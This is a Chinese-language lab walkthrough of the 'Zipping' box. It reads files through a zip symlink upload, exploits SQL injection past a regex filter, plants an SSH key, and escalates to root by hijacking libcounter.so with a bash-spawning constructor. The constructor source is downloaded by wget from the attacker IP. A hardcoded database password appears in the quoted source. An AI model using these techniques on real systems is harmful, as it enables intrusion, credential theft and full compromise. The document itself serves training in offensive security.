这里记录一个爆破工具:gobuster
和一个字典:SecLists
访问网站,发现存在以下输入框
这是个邮件发送界面,可能存在sql注入。
这个页面存在一个page参数,猜想可能存在LFI。
这是个文件上传界面,猜想可能存在文件上传。
文件上传处只允许上传只包含pdf的zip压缩包
我们可以创建符号链接来使用LFI:
我创建了一个名为test.pdf的符号链接,指向/etc/passwd,因为上传需要是一个包含pdf的zip文件。然后我创建了一个带有符号链接的zp文件:
ln -s ../../../../../../../../../../../etc/passwd test.pdf
zip -r --symlinks test.zip test.pdf
--symlinks 使pdf保持符号链接属性
上传成功并解压返回路径,访问uploads/bcf23e8aeb5be689d72908024cb8c1a8/test.pdf发现成功返回敏感文件。但是这个好像不能使用burp的重放发送包,必须通过浏览器请求,然后burp拦截响应包,不然它好像会删除。
能查看文件,我们首先查看 /var/www/html/upload.php。
/var/www/html/upload.php
<html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Start your development with Creative Design landing page.">
<meta name="author" content="Devcrud">
<title>Zipping | Watch storetitle>
<link rel="stylesheet" href="assets/vendors/themify-icons/css/themify-icons.css">
<link rel="stylesheet" href="assets/css/creative-design.css">
head>
<body data-spy="scroll" data-target=".navbar" data-offset="40" id="home">
<header class="header header-mini">
<div class="header-title">Work with Usdiv>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item"><a href="index.php">Homea>li>
<li class="breadcrumb-item active" aria-current="page">Work with Usli>
ol>
nav>
header>
<section id="work" class="text-center">
<div class="container">
<h1>WORK WITH USh1>
<p class="mb-5">If you are interested in working with us, do not hesitate to send us your curriculum.<br> The application will only accept zip files, inside them there must be a pdf file containing your curriculum.p>
300000) {
echo "File size must be less than 300,000 bytes.
";
} else {
// Create an md5 hash of the zip file
$fileHash = md5_file($zipFile);
// Create a new directory for the extracted files
$uploadDir = "uploads/$fileHash/";
$tmpDir = sys_get_temp_dir();
// Extract the files from the zip
$zip = new ZipArchive;
if ($zip->open($zipFile) === true) {
if ($zip->count() > 1) {
echo 'Please include a single PDF file in the archive.
';
} else {
// Get the name of the compressed file
$fileName = $zip->getNameIndex(0);
if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
$uploadPath = $tmpDir.'/'.$uploadDir;
echo exec('7z e '.$zipFile. ' -o' .$uploadPath. '>/dev/null');
if (file_exists($uploadPath.$fileName)) {
mkdir($uploadDir);
rename($uploadPath.$fileName, $uploadDir.$fileName);
}
echo '
File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:
'.$uploadDir.$fileName.''.'';
} else {
echo "The unzipped file must have a .pdf extension.
";
}
}
} else {
echo "Error uploading file.";
}
}
}
?>
<form id="zip-form" enctype="multipart/form-data" method="post" action="upload.php">
<div class="mb-3">
<input type="file" class="form-control" name="zipFile" accept=".zip">
div>
<button type="submit" class="btn btn-primary" name="submit">Uploadbutton>
form>
div>
section>
<section class="pb-0">
<div class="container">
<div class="pre-footer">
<ul class="list">
<li class="list-head">
<h6 class="font-weight-bold">ABOUT USh6>
li>
<li class="list-body">
<p>Zipping Co. is a company that is dedicated to producing high-quality watches that are both stylish and functional. We are constantly pushing the boundaries of what is possible with watch design and are known for their commitment to innovation and customer service.p>
<a href="#"><strong class="text-primary">Zippingstrong> <span class="text-dark">Watch Storespan>a>
li>
ul>
<ul class="list">
<li class="list-head">
<h6 class="font-weight-bold">USEFUL LINKSh6>
li>
<li class="list-body">
<div class="row">
<div class="col">
<a href="#">Link 1a>
<a href="#">Link 2a>
<a href="#">Link 3a>
<a href="#">Link 4a>
div>
<div class="col">
<a href="#">Link 5a>
<a href="#">Link 6a>
<a href="#">Link 7a>
<a href="#">Link 8a>
div>
div>
li>
ul>
<ul class="list">
<li class="list-head">
<h6 class="font-weight-bold">CONTACT INFOh6>
li>
<li class="list-body">
<p>Contact us and we'll get back to you within 24 hours.p>
<p><i class="ti-location-pin">i> 12345 Fake ST NoWhere AB Countryp>
<p><i class="ti-email">i> [email protected]p>
<div class="social-links">
<a href="javascript:void(0)" class="link"><i class="ti-facebook">i>a>
<a href="javascript:void(0)" class="link"><i class="ti-twitter-alt">i>a>
<a href="javascript:void(0)" class="link"><i class="ti-google">i>a>
<a href="javascript:void(0)" class="link"><i class="ti-pinterest-alt">i>a>
<a href="javascript:void(0)" class="link"><i class="ti-instagram">i>a>
<a href="javascript:void(0)" class="link"><i class="ti-rss">i>a>
div>
li>
ul>
div>
<footer class="footer">
<p>Made by <a href="https://github.com/xdann1">xDaNN1p>
footer>
div>
section>
body>
html>
接下来分别查看shop的源码,
/var/www/html/shop/index.php
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
functions.php
function pdo_connect_mysql() {
// Update the details below with your MySQL details
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'root';
$DATABASE_PASS = 'MySQL_P@ssw0rd!';
$DATABASE_NAME = 'zipping';
<TRUNCATED>
home.php
// Get the 4 most recently added products
$stmt = $pdo->prepare('SELECT * FROM products ORDER BY date_added DESC LIMIT 4');
$stmt->execute();
$recently_added_products = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
<?=template_header('Zipping | Home')?>
<div class="featured">
<h2>Watches</h2>
<p>The perfect watch for every occasion</p>
</div>
<div class="recentlyadded content-wrapper">
<h2>Recently Added Products</h2>
<div class="products">
<?php foreach ($recently_added_products as $product): ?>
<a href="index.php?page=product&id==$product['id']?>" class="product">
<img src="assets/imgs/=$product['img']?>" width="200" height="200" alt="=$product['name']?>">
<span class="name"><?=$product['name']?></span>
<span class="price">
$<?=$product['price']?>
<?php if ($product['rrp'] > 0): ?>
<span class="rrp">$<?=$product['rrp']?></span>
<?php endif; ?>
</span>
</a>
<?php endforeach; ?>
</div>
</div>
在functions.php我们发现账号密码尝试使用ssh连接失败。
在home.php没有对用户控制的 id 参数进行任何输入验证。当我们在商店中尝试通过 ’ 字符进行 SQL 注入 并在 Burp 中渲染它时,我们会看到:
这说明sql注入是存在的,目录爆破id参数处理的位置。
然后,我们可以使用PDF LFI阅读product.php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
// Fetch the product from the database and return the result as an Array
$product = $stmt->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if (!$product) {
// Simple error to display if the id for the product doesn't exists (array is empty)
exit('Product does not exist!');
}
}
} else {
// Simple error to display if the id wasn't specified
exit('No ID provided!');
}
?>
那里的正则表达式看起来很难绕过,再加上盒子名称是Zipping的事实,很明显这不是预期的方法。
回到文件上传,发现upload.php唯一存在的检查是pathinfo函数,它可以被绕过。
$zip = new ZipArchive;
if ($zip->open($zipFile) === true) {
if ($zip->count() > 1) {
echo 'Please include a single PDF file in the archive.
'
;
} else {
// Get the name of the compressed file
$fileName = $zip->getNameIndex(0);
if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
mkdir($uploadDir);
echo exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');
echo 'File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:
.$uploadDir.$fileName.'">'.$uploadDir.$fileName.''.'';
} else {
echo "The unzipped file must have a .pdf extension.
";
}
我们制作一个webshell,将其文件扩展名设置为.phpD.pdf。压缩webshell文件。
之后,我们在数据包即将发送时拦截数据包并将传输转换为十六进制格式,通过将其转换为空字节来有效地规避它。
当我们点击“输入”时,我们会发现我们输入的页面不存在,这是因为不正确的链接。但是,通过删除“%20.pdf”,按理说这里是可以访问成功的,但屡次尝试后失败,发现官网修复了。
那我们就继续读源码,审计源码
这里使用Som3B0dy师傅的脚本
/var/www/html/cart.php
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
// Set the post variables so we easily identify them, also make sure they are integer
$product_id = $_POST['product_id'];
$quantity = $_POST['quantity'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
echo '';
} else {
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if ($product && $quantity > 0) {
// Product exists in database, now we can create/update the session variable for the cart
if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
if (array_key_exists($product_id, $_SESSION['cart'])) {
// Product exists in cart so just update the quanity
$_SESSION['cart'][$product_id] += $quantity;
} else {
// Product is not in cart so add it
$_SESSION['cart'][$product_id] = $quantity;
}
} else {
// There are no products in cart, this will add the first product to cart
$_SESSION['cart'] = array($product_id => $quantity);
}
}
// Prevent form resubmission...
header('location: index.php?page=cart');
exit;
}
}
// Remove product from cart, check for the URL param "remove", this is the product id, make sure it's a number and check if it's in the cart
if (isset($_GET['remove']) && is_numeric($_GET['remove']) && isset($_SESSION['cart']) && isset($_SESSION['cart'][$_GET['remove']])) {
// Remove the product from the shopping cart
unset($_SESSION['cart'][$_GET['remove']]);
}
// Update product quantities in cart if the user clicks the "Update" button on the shopping cart page
if (isset($_POST['update']) && isset($_SESSION['cart'])) {
// Loop through the post data so we can update the quantities for every product in cart
foreach ($_POST as $k => $v) {
if (strpos($k, 'quantity') !== false && is_numeric($v)) {
$id = str_replace('quantity-', '', $k);
$quantity = (int)$v;
// Always do checks and validation
if (is_numeric($id) && isset($_SESSION['cart'][$id]) && $quantity > 0) {
// Update new quantity
$_SESSION['cart'][$id] = $quantity;
}
}
}
// Prevent form resubmission...
header('location: index.php?page=cart');
exit;
}
// Send the user to the place order page if they click the Place Order button, also the cart should not be empty
if (isset($_POST['placeorder']) && isset($_SESSION['cart']) && !empty($_SESSION['cart'])) {
header('Location: index.php?page=placeorder');
exit;
}
if (isset($_POST['clear'])) {
unset($_SESSION['cart']);
}
// Check the session variable for products in cart
$products_in_cart = isset($_SESSION['cart']) ? $_SESSION['cart'] : array();
$products = array();
$subtotal = 0.00;
// If there are products in cart
if ($products_in_cart) {
// There are products in the cart so we need to select those products from the database
// Products in cart array to question mark string array, we need the SQL statement to include IN (?,?,?,...etc)
$array_to_question_marks = implode(',', array_fill(0, count($products_in_cart), '?'));
$stmt = $pdo->prepare('SELECT * FROM products WHERE id IN (' . $array_to_question_marks . ')');
// We only need the array keys, not the values, the keys are the id's of the products
$stmt->execute(array_keys($products_in_cart));
// Fetch the products from the database and return the result as an Array
$products = $stmt->fetchAll(PDO::FETCH_ASSOC);
// Calculate the subtotal
foreach ($products as $product) {
$subtotal += (float)$product['price'] * (int)$products_in_cart[$product['id']];
}
}
?>
<?=template_header('Zipping | Cart')?>
<div class="cart content-wrapper">
<h1>Shopping Cart</h1>
<form action="index.php?page=cart" method="post">
<table>
<thead>
<tr>
<td colspan="2">Product</td>
<td>Price</td>
<td>Quantity</td>
<td>Total</td>
</tr>
</thead>
<tbody>
<?php if (empty($products)): ?>
<tr>
<td colspan="5" style="text-align:center;">You have no products added in your Shopping Cart</td>
</tr>
<?php else: ?>
<?php foreach ($products as $product): ?>
<tr>
<td class="img">
<a href="index.php?page=product&id==$product['id']?>">
<img src="assets/imgs/=$product['img']?>" width="50" height="50" alt="=$product['name']?>">
</a>
</td>
<td>
<a href="index.php?page=product&id==$product['id']?>"><?=$product['name']?></a>
<br>
<a href="index.php?page=cart&remove==$product['id']?>" class="remove">Remove</a>
</td>
<td class="price">$<?=$product['price']?></td>
<td class="quantity">
<input type="number" name="quantity-=$product['id']?>" value="=$products_in_cart[$product['id']]?>" min="1" max="=$product['quantity']?>" placeholder="Quantity" required>
</td>
<td class="price">$<?=$product['price'] * $products_in_cart[$product['id']]?></td>
</tr>
<?php endforeach; ?>
<?php endif; ?>
</tbody>
</table>
<div class="subtotal">
<span class="text">Subtotal</span>
<span class="price">$<?=$subtotal?></span>
</div>
<div class="buttons">
<input type="submit" value="Update" name="update">
<input type="submit" value="Place Order" name="placeorder">
<input type="submit" value="Clear" name="clear" onsubmit="">
</div>
</form>
</div>
<?=template_footer()?>
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
// Set the post variables so we easily identify them, also make sure they are integer
$product_id = $_POST['product_id'];
$quantity = $_POST['quantity'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
echo '';
} else {
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
我们要绕过这个preg_match,只需要在payload 前面输入%0a
,就能绕过检测了,
但是注意这个 preg_match,会检查最后一个字符是以数字结尾的所以我们的payload,需要以数字结尾
并且我们写文件的路径需要是mysql可以写的目录
即 secure_file_priv
这个变量的值,在linux下,默认路径基本上都是 /var/lib/mysql
可能是不只我一个人在打,所以访问极不稳定,为了确保稳定和安全的连接,我们将授权密钥加载到 SSH 中。
本地执行命令,生成rsa密钥对
ssh-keygen -t rsa
一路回车后就会在~/.ssh/
目录下生成私钥文件:id_rsa
与公钥文件:id_rsa.pub
,复制id_rsa.pub的内容
,这里的内容需要加入到远程电脑中
创建authorized_keys
或将/usr/share/man/man5/authorized_keys.5.gz
里的提取出来改名成authorized_keys,将id_rsa.pub的内容粘贴到authorized_keys中去
将authorized_keys上传至目标机器的~/.ssh
中
这样kali就可无密连接ssh
在/home/rektsu目录下找到user.txt,提交第一个flag.
检查sudo权限sudo -l
,注意到我们对“/stock”具有root访问权限
我试着运行,发现其总是说没有输入正密码,但我没输入,他就弹出了
使用strings
或ltrace
分析程序,从程序中提取可读文本。发现密码:St0ckM4nager
运行stock,输入密码,其功能就是查看一些信息,编辑一些信息。
使用strace
可以看到这个程序,跑起来的时候的系统调用
可以看到,整个程序运行的时候,引入了 /home/rektsu/.config/libcounter.so这个文件
maybe,我们可以做一些劫持
https://tbhaxor.com/exploiting-shared-library-misconfigurations/
priv-esclation.c
#include
#include
#include
void method()__attribute__((constructor));
void method() {
system("/bin/bash -i");
}
由于我们已经使用sudo运行它,
因此无需使用setuid或setgid之后,使用它编译它并将其下载到/home/rektsu/.config
文件夹中:
#上传至目标机器上去执行
wget 10.10.16.5/priv-esclation.c
gcc -shared -fpic -o /home/rektsu/.config/libcounter.so priv-esclation.c